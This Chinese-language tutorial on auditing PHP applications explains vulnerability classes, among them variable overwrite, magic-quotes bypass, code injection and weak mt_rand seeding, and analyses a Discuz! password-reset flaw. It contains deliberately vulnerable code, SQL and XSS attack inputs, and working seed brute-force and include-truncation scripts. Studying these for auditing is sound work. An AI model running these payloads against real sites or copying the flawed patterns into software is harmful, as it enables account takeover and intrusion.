前言
另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在这里需要感谢他们 :)
传统的代码审计技术
其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用程序代码的审核,但是这些也依靠了我们上面提到的字典。
PHP版本与应用代码审计
到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:
php4 | 68% | 2000-2007,No security fixes after 2008/08,最终版本是php4.4.9 |
php5 | 32% | 2004- present,Now at version 5.2.6(PHP 5.3 alpha1 released!) |
php6 | 目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc(这个不是今天讨论的范围) |
由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。
其他的因素与应用代码审计
所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,PHP版本等信息。
扩展我们的字典
下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。
变量本身的key
说到变量的提交很多人只是看到了 GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。
<?php //key.php?aaaa'aaa=1&bb'b=2 //print_R($_GET); foreach ($_GET AS $key => $value) { print $key."/n"; } ?>
上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:
key.php?<script>alert(1);</script>=1&bbb=2
那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者 sql查询呢?:)
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
变量覆盖
很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:
遍历初始化变量
<?php //var.php?a=fuck $a='hi'; foreach($_GET as $key => $value) { $$key = $value; } print $a; ?>
很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1 的WAP部分的代码:
$chs = ''; if($_POST && $charset != 'utf-8') { $chs = new Chinese('UTF-8', $charset); foreach($_POST as $key => $value) { $$key = $chs->Convert($value); } unset($chs);
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
parse_str() 变量覆盖漏洞
//var.php?var=new $var = 'init'; parse_str($_SERVER['QUERY_STRING']); print $var;
该函数一样可以覆盖数组变量,上面的代码是通过$_SERVER'QUERY_STRING' 来提取变量的,对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:
//var.php?var=1&a[1]=var1%3d222 $var1 = 'init'; parse_str($a[$_GET['var']]); print $var1;
漏洞审计策略(parse_str) |
PHP版本要求:无 系统要求:无 审计策略:查找字符parse_str |
漏洞审计策略(mb_parse_str) |
PHP版本要求:php4<4.4.7 php5<5.2.2 系统要求:无 审计策略:查找字符mb_parse_str |
import_request_variables() 变量覆盖漏洞
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 echo 'GLOBALS '.(int)ini_get("register_globals")."n"; import_request_variables('GPC'); if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); echo 'Hello admin!';
漏洞审计策略(import_request_variables) |
PHP版本要求:php4<4.4.1 php5<5.2.2 系统要求:无 审计策略:查找字符import_request_variables |
PHP5 Globals
从严格意义上来说这个不可以算是 PHP的漏洞,只能算是一个特性,测试代码:
<? // register_globals =ON //foo.php?GLOBALS[foobar]=HELLO php echo $foobar; ?>
//为了安全取消全局变量 //var.php?GLOBALS[a]=aaaa&b=111 if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); print $a; print $_GET[b];
如果熟悉WEB2.0的攻击的同学,很容易想到上面的代码我们可以利用这个特性进行 crsf攻击。
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
magic_quotes_gpc 与代码安全
什么是 magic_quotes_gpc
哪些地方没有魔术引号的保护
漏洞审计策略($_SERVER变量) |
PHP版本要求:无 系统要求:无 审计策略:查找字符_SERVER |
2) getenv()得到的变量(使用类似$_SERVER 变量)
漏洞审计策略(getenv()) |
PHP版本要求:无 系统要求:无 审计策略:查找字符getenv |
3) $HTTP_RAW_POST_DATA与PHP输入、输出流
主要应用与soap/xmlrpc /webpublish功能里,请看如下代码:
if ( !isset( $HTTP_RAW_POST_DATA ) ) { $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } if ( isset($HTTP_RAW_POST_DATA) ) $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
漏洞审计策略(数据流) |
PHP版本要求:无 系统要求:无 审计策略:查找字符HTTP_RAW_POST_DATA或者php://input |
4) 数据库操作容易忘记'的地方如:in()/limit/order by/group by
if(is_array($msgtobuddys)) { $msgto = array_merge($msgtobuddys, array($msgtoid)); ...... foreach($msgto as $uid) { $uids .= $comma.$uid; $comma = ','; } ...... $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN ($uids)");
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:查找数据库操作字符(select,update,insert等等) |
变量的编码与解码
一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。
1) stripslashes() 这个其实就是一个decode-addslashes()
base64_decode | 对使用 MIME base64 编码的数据进行解码 |
base64_encode | 使用 MIME base64 对数据进行编码 |
rawurldecode | 对已编码的 URL 字符串进行解码 |
rawurlencode | 按照 RFC 1738 对 URL 进行编码 |
urldecode | 解码已编码的 URL 字符串 |
urlencode | 编码 URL 字符串 |
... | ... |
3) 字符集函数(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等
目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:
$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";
当magic_quotes_gpc=on 时,我们提交?id=%2527,得到sql语句为:
SELECT * FROM article WHERE articleid='''
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:查找对应的编码函数 |
二次攻击
- mysql/oracle转义符号同样是/(我们提交'通过魔术引号变化为/',当我们 update进入数据库时,通过转义变为')
- mssql的转义字符为'(所以我们提交'通过魔术引号变化为/',mssql会把它当为一个字符串直接处理,所以魔术引号对于mssql的注射没有任何意义)
从这里我们可以思考得到一个结论:一切进入函数的变量都是有害的,另外利用二次攻击我们可以实现一个 webrootkit,把我们的恶意构造直接放到数据库里。我们应当把这样的代码看成一个vul?
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
魔术引号带来的新的安全问题
[/-->//,'-->/',"-->/",null-->/0]
这给我们引进了一个非常有用的符号 “/”,“/”符号不仅仅是转义符号,在WIN系统下也是目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞:
$order_sn=substr($_GET['order_sn'], 1); //提交 ' //魔术引号处理 /' //substr ' $sql = "SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM " . $ecs->table('order_info'). " WHERE order_sn = '$order_sn' LIMIT 1";
$order_sn=substr($_GET['order_sn'], 0,1); //提交 ' //魔术引号处理 /' //substr / $sql = "SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM " . $ecs->table('order_info'). " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";
?order_sn='&order_tn=%20and%201=1/*
SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '/' and order_tn=' and 1=1/*'
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:查找字符串处理函数如substr或者通读代码 |
变量key与魔术引号
我们最在这一节的开头就提到了变量 key,PHP的魔术引号对它有什么影响呢?
<?php //key.php?aaaa'aaa=1&bb'b=2 //print_R($_GET); foreach ($_GET AS $key => $value) { print $key."/n"; } ?>
1)当 magic_quotes_gpc = On时,在php5.24下测试显示:
aaaa/'aaa bb/'b
从上面结果可以看出来,在设置了 magic_quotes_gpc = On下,变量key受魔术引号影响。但是在php4和php<5.2.1的版本中,不处理数组第一维变量的key,测试代码如下:
<?php //key.php?aaaa'aaa[bb']=1 print_R($_GET); ?>
Array ( [aaaa'aaa] => Array ( [bb/'] => 1 ) )
漏洞审计策略 |
PHP版本要求:php4和php<5.2.1 系统要求:无 审计策略:通读代码 |
2)当 magic_quotes_gpc = Off时,在php5.24下测试显示:
aaaa'aaa bb'b
对于magic_quotes_gpc = Off时所有的变量都是不安全的,考虑到这个,很多程序都通过addslashes等函数来实现魔术引号对变量的过滤,示例代码如下:
<?php //keyvul.php?aaa'aa=1' //magic_quotes_gpc = Off if (!get_magic_quotes_gpc()) { $_GET = addslashes_array($_GET); } function addslashes_array($value) { return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value); } print_R($_GET); foreach ($_GET AS $key => $value) { print $key; } ?>
以上的代码看上去很完美,但是他这个代码里addslashes($value)只处理了变量的具体的值,但是没有处理变量本身的key,上面的代码显示结果如下:
Array ( [aaa'aa] => 1/' ) aaa'aa
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
代码注射
PHP中可能导致代码注射的函数
很多人都知道eval、 preg_replace+/e可以执行代码,但是不知道php还有很多的函数可以执行代码如:
assert() |
call_user_func() |
call_user_func_array() |
create_function() |
变量函数 |
... |
这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:
<?php //how to exp this code $sort_by=$_GET['sort_by']; $sorter='strnatcasecmp'; $databases=array('test','test'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); '; usort($databases, create_function('$a, $b', $sort_function));
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等) |
变量函数与双引号
echo "$a/n"; echo '$a/n';
//how to exp this code if($globals['bbc_email']){ $text = preg_replace( array("//[email=(.*?)/](.*?)/[//email/]/ies", "//[email/](.*?)/[//email/]/ies"), array('check_email("$1", "$2")', 'check_email("$1", "$1")'), $text);
另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里,这样很容易被人注射变量函数。
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
PHP自身函数漏洞及缺陷
PHP函数的溢出漏洞
大家还记得Stefan Esser大牛的Month of PHP Bugs(MOPB见附录2)项目么,其中比较有名的要算是unserialize(),代码如下:
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。
漏洞审计策略 |
PHP版本要求:对应 fix的版本 系统要求: 审计策略:查找对应函数名 |
PHP函数的其他漏洞
Stefan Esser大牛发现的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability 比如phpwind早期的serarch.php里的代码:
unset($uids); ...... $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"); while($member=$db->fetch_array($query)){ $uids .= $member['uid'].','; } $uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 '; ........ $query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
漏洞审计策略 |
PHP版本要求:php4<4.3 php5<5.14 系统要求:无 审计策略:查找unset |
session_destroy() 删除文件漏洞
<?php //val.php session_save_path('./'); session_start(); if($_GET['del']) { session_unset(); session_destroy(); }else{ $_SESSION['hei']=1; echo(session_id()); print_r($_SESSION); } ?>
漏洞审计策略 |
PHP版本要求:具体不详 系统要求:无 审计策略:查找session_destroy |
随机函数
<?php //on windows print mt_getrandmax(); //2147483647 print getrandmax();// 32767 ?>
可以看出rand()最大的随机数是32767,这个很容易被我们暴力破解。
<?php $a= md5(rand()); for($i=0;$i<=32767;$i++){ if(md5($i) ==$a ) { print $i."-->ok!!<br>";exit; }else { print $i."<br>";} } ?>
当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于 mt_rand是很难单纯的暴力的。
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:查找rand |
2) mt_srand()/srand()-weak seeding(by Stefan Esser)
mt_srand (PHP 3 >= 3.0.6, PHP 4, PHP 5) mt_srand -- 播下一个更好的随机数发生器种子 说明 void mt_srand ( int seed )
用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。
<?php // seed with microseconds function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } mt_srand(make_seed()); $randval = mt_rand(); ?>
注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。
php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:
mt_srand ((double) microtime() * 1000000)
但是使用(double)microtime()*1000000 类似的代码 seed是比较脆弱的:
0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000
<?php / //>php rand.php //828682 //828682 ini_set("max_execution_time",0); $time=(double) microtime()* 1000000; print $time."/n"; mt_srand ($time); $search_id = mt_rand(); $seed = search_seed($search_id); print $seed; function search_seed($rand_num) { $max = 1000000; for($seed=0;$seed<=$max;$seed++){ mt_srand($seed); $key = mt_rand(); if($key==$rand_num) return $seed; } return false; } ?>
seed-A |
mt_rand-A-1 mt_rand-A-2 mt_rand-A-3 |
seed-B |
mt_rand-B-1 mt_rand-B-2 mt_rand-B-3 |
对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:
第二种:5.2.6>php>4.2.0 默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:
The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.
<?php mt_srand(4); $a = mt_rand(); mt_srand(5); $b = mt_rand(); print $a."/n".$b; ?>
通过上面的代码发现$a==$b,所以我们循环的次数为232/2=231次。我们看如下代码:
<?php //base on http://www.milw0rm.com/exploits/6421 //test on php 5.2.0 define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1 $key = wp_generate_password(20, false); echo $key."/n"; $seed = getseed($key); print $seed."/n"; mt_srand($seed); $pass = wp_generate_password(20, false); echo $pass."/n"; function wp_generate_password($length = 12, $special_chars = true) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; if ( $special_chars ) $chars .= '!@#$%^&*()'; $password = ''; for ( $i = 0; $i < $length; $i++ ) $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); return $password; } function getseed($resetkey) { $max = pow(2,(32-BUGGY)); for($x=0;$x<=$max;$x++) { $seed = BUGGY ? ($x << 1) + 1 : $x; mt_srand($seed); $testkey = wp_generate_password(20,false); if($testkey==$resetkey) { echo "o/n"; return $seed; } if(!($x % 10000)) echo $x / 10000; } echo "/n"; return false; } ?>
php5>php rand.php M8pzpjwCrvVt3oobAaOr 0123456789101112131415161718192021222324252627282930313233343536373839404142434 445464748495051525354555657585960616263646566676869 7071727374757677787980818283848586878889909192939495969798991001011021031041051 061071081091101111121131141151161171181191201211221 2312412512612712812913013113213313413513613713813914014114214314414514614714814 915015115215315415515615715815916016116216316416516 6167168169170171172173174175176177178179180181182183184185186187188189190191192 193194195196197198199200201202203204205206207208209 2102112122132142152162172182192202212222232242252262272282292302312322332342352 362372382392402412422432442452462472482492502512522 ..............01062110622106231062410625106261062710628106291063010631106321063 3o 70693 pjwCrvVt3oobAaOr
当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了 php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:
<?php mt_srand(42); echo mt_rand(); //php<=5.20 1387371436 //php>5.20 1354439493 ?>
正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也要是>5.20的版本,反过来也是一样。
很多著名的程序都产生了类似的漏洞如 wordpress、phpbb、punbb等等。(在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)
漏洞审计策略 |
PHP版本要求:php4 php5<5.2.6 系统要求:无 审计策略:查找mt_srand/mt_rand |
特殊字符
其实“特殊字符”也没有特定的标准定义,主要是在一些 code hacking发挥着特殊重作用的一类字符。下面就举几个例子:
截断
include截断
<?php include $_GET['action'].".php"; ?>
<?php var5.php代码: include $_GET['action'].".php"; print strlen(realpath("./"))+strlen($_GET['action']); /// ini_set('max_execution_time', 0); $str=''; for($i=0;$i<50000;$i++) { $str=$str."/"; $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str); //1.txt里的代码为print 'hi'; if (strpos($resp, 'hi') !== false){ print $i; exit; } } ?>
数据截断
1) Mysql SQL Column Truncation Vulnerabilities
mysql> insert into truncated_test(`username`,`password`) values("admin","pass"); mysql> insert into truncated_test(`username`,`password`) values("admin x", "new_pass"); Query OK, 1 row affected, 1 warning (0.01 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username | password | +----+------------+----------+ | 1 | admin | pass | | 2 | admin | new_pass | +----+------------+----------+ 2 rows in set (0.00 sec)
2) Mysql charset Truncation vulnerability
这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下:
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2"); Query OK, 1 row affected, 1 warning (0.00 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username | password | +----+------------+----------+ | 1 | admin | pass | | 2 | admin | new_pass | | 3 | admin | new_pass2 | +----+------------+----------+ 2 rows in set (0.00 sec)
很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:
$result = mysql_query("SELECT * from test_user where user='$user' "); .... if(@mysql_fetch_array($result, MYSQL_NUM)) { die("already exist"); }
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:通读代码 |
文件操作里的特殊字符
//Is this code vul? if( eregi(".php",$url) ){ die("ERR"); } $fileurl=str_replace($webdb[www_url],"",$url); ..... header('Content-Disposition: attachment; filename='.$filename);
$fileurl=str_replace($webdb[www_url],"",$url); if( eregi(".php",$url) ){ die("ERR"); }
str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:
<?php for($i=0;$i<255;$i++) { $url = '1.ph'.chr($i); $tmp = @file_get_contents($url); if(!empty($tmp)) echo chr($i)."/r/n"; } ?>
我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。
漏洞审计策略 |
PHP版本要求:无 系统要求:无 审计策略:文读取件操作函数 |
怎么进一步寻找新的字典
上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一步找到新的字典或者利用方式呢?
- 分析和学习别人发现的漏洞或者 exp,总结出漏洞类型及字典
- 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式
- fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分很多都可以简单的fuzz脚本可以测试出来
- 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些 “漏洞审计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会陆续公布一些我们对php源代码的分析)
- 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
- 你有什么要补充的吗? :)
DEMO
DEMO -- Discuz! Reset User Password 0day Vulnerability 分析 (Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt) |
PHP版本要求:php4 php5<5.2.6 系统要求: 无 审计策略:查找mt_srand/mt_rand |
第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:
heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5 ./include/global.func.php-694- $GLOBALS['rewritecompatible'] && $name = rawurlencode($name); ./include/global.func.php-695- return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>'; ./include/global.func.php-696-} ./include/global.func.php-697- ./include/global.func.php-698-function random($length, $numeric = 0) { ./include/global.func.php:699: PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); ./include/global.func.php-700- if($numeric) { ./include/global.func.php-701- $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1)); ./include/global.func.php-702- } else { ./include/global.func.php-703- $hash = ''; ./include/global.func.php-704- $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; -- ./include/discuzcode.func.php-30- ./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) { ./include/discuzcode.func.php-32- @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php'; ./include/discuzcode.func.php-33-} ./include/discuzcode.func.php-34- ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000); ./include/discuzcode.func.php-36- ./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) { ./include/discuzcode.func.php-38- global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml; ./include/discuzcode.func.php-39- $attach = $postlist[$pid]['attachments'][$aid]; ./include/discuzcode.func.php-40- if($attach['attachimg']) {
有两个文件用到了mt_srand(),第1是在./include/global.func.php 的随机函数random()里:
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
判断了版本,如果是PHP_VERSION > '4.2.0'使用php本身默认的播种。从上一章里的分析我们可以看得出来,使用php本身默认的播种的分程序两种情况:
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
这里我们肯定dz是存在这个漏洞的,文章给出来的 exp也就是基于这个的。(具体exp利用的流程有兴趣的可以自己分析下])
后话
附录
[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114